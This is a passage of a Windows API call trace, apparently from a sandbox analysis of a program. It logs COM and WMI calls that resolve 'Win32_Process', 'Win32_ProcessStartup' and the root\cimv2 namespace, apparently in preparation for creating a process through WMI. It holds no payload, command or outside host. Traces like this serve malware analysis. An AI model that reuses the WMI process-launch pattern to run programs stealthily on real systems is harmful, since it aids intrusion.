hTemplateFile=0x0) returned 0x2ac [0107.604] GetFileType (hFile=0x2ac) returned 0x1 [0107.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d840) returned 1 [0107.604] GetFileType (hFile=0x2ac) returned 0x1 [0107.604] WriteFile (in: hFile=0x2ac, lpBuffer=0x26f5090*, nNumberOfBytesToWrite=0xf1, lpNumberOfBytesWritten=0x1b30d908, lpOverlapped=0x0 | out: lpBuffer=0x26f5090*, lpNumberOfBytesWritten=0x1b30d908*=0xf1, lpOverlapped=0x0) returned 1 [0107.605] CloseHandle (hObject=0x2ac) returned 1 [0107.607] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0107.609] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0107.609] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0107.609] IUnknown:Release (This=0x6124e8) returned 0x1 [0107.610] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b48aed0) returned 0x0 [0107.610] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48aed0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0107.610] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48aed0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x656ab0) returned 0x0 [0107.610] WbemDefPath:IUnknown:Release (This=0x1b48aed0) returned 0x0 [0107.610] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x656ab0) returned 0x0 [0107.610] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0107.610] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0107.610] WbemDefPath:IUnknown:AddRef (This=0x656ab0) returned 0x3 [0107.610] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0107.610] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0107.611] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b48a970) returned 0x0 [0107.611] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48a970, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0107.611] WbemDefPath:IUnknown:Release (This=0x1b48a970) returned 0x3 [0107.611] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0107.611] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0107.611] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0107.611] WbemDefPath:IUnknown:Release (This=0x656ab0) returned 0x2 [0107.611] WbemDefPath:IUnknown:Release (This=0x656ab0) returned 0x1 [0107.611] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0107.611] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0107.611] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x656ab0) returned 0x0 [0107.611] WbemDefPath:IUnknown:AddRef (This=0x656ab0) returned 0x3 [0107.611] WbemDefPath:IUnknown:Release (This=0x656ab0) returned 0x2 [0107.611] WbemDefPath:IWbemPath:SetText (This=0x656ab0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0107.611] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ab0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0107.611] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0107.611] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0107.611] WbemDefPath:IWbemPath:GetInfo (in: This=0x656ab0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0107.611] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ab0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0107.611] WbemDefPath:IWbemPath:GetInfo (in: This=0x656ab0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0107.611] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0107.611] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0107.612] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0107.612] IUnknown:Release (This=0x6124e8) returned 0x1 [0107.612] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b48adf0) returned 0x0 [0107.612] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48adf0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0107.612] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48adf0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x655430) returned 0x0 [0107.612] WbemDefPath:IUnknown:Release (This=0x1b48adf0) returned 0x0 [0107.612] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x655430) returned 0x0 [0107.612] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0107.612] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0107.613] WbemDefPath:IUnknown:AddRef (This=0x655430) returned 0x3 [0107.613] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0107.613] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0107.613] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b48ae30) returned 0x0 [0107.613] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48ae30, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0107.613] WbemDefPath:IUnknown:Release (This=0x1b48ae30) returned 0x3 [0107.613] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0107.613] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0107.613] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0107.613] WbemDefPath:IUnknown:Release (This=0x655430) returned 0x2 [0107.613] WbemDefPath:IUnknown:Release (This=0x655430) returned 0x1 [0107.613] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0107.613] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0107.613] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x655430) returned 0x0 [0107.613] WbemDefPath:IUnknown:AddRef (This=0x655430) returned 0x3 [0107.613] WbemDefPath:IUnknown:Release (This=0x655430) returned 0x2 [0107.613] WbemDefPath:IWbemPath:SetText (This=0x655430, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0107.613] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655430, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0107.613] WbemDefPath:IWbemPath:GetText (in: This=0x655430, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0107.613] WbemDefPath:IWbemPath:GetText (in: This=0x655430, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0107.613] WbemDefPath:IWbemPath:GetInfo (in: This=0x655430, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0107.613] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655430, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0107.613] WbemDefPath:IWbemPath:GetInfo (in: This=0x655430, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0107.613] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655430, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0107.613] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0107.614] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0107.614] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0107.614] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0107.614] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0107.614] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0107.614] IUnknown:Release (This=0x6124e8) returned 0x1 [0107.614] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b48abb0) returned 0x0 [0107.614] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48abb0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0107.614] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48abb0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x6558b0) returned 0x0 [0107.614] WbemDefPath:IUnknown:Release (This=0x1b48abb0) returned 0x0 [0107.614] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x6558b0) returned 0x0 [0107.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0107.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0107.615] WbemDefPath:IUnknown:AddRef (This=0x6558b0) returned 0x3 [0107.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0107.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0107.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b48adb0) returned 0x0 [0107.615] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48adb0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0107.615] WbemDefPath:IUnknown:Release (This=0x1b48adb0) returned 0x3 [0107.615] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0107.615] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0107.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0107.615] WbemDefPath:IUnknown:Release (This=0x6558b0) returned 0x2 [0107.615] WbemDefPath:IUnknown:Release (This=0x6558b0) returned 0x1 [0107.615] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0107.615] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0107.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x6558b0) returned 0x0 [0107.615] WbemDefPath:IUnknown:AddRef (This=0x6558b0) returned 0x3 [0107.615] WbemDefPath:IUnknown:Release (This=0x6558b0) returned 0x2 [0107.615] WbemDefPath:IWbemPath:SetText (This=0x6558b0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0107.615] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6558b0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0107.615] WbemDefPath:IWbemPath:GetText (in: This=0x6558b0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0107.615] WbemDefPath:IWbemPath:GetText (in: This=0x6558b0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0107.616] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0107.616] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0107.616] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0107.616] IUnknown:Release (This=0x6124e8) returned 0x1 [0107.616] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b48acb0) returned 0x0 [0107.616] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48acb0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0107.616] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b48acb0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b48ae90) returned 0x0 [0107.616] WbemLocator:IUnknown:Release (This=0x1b48acb0) returned 0x0 [0107.616] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48ae90, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b48ae90) returned 0x0 [0107.616] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48ae90, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0107.616] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48ae90, 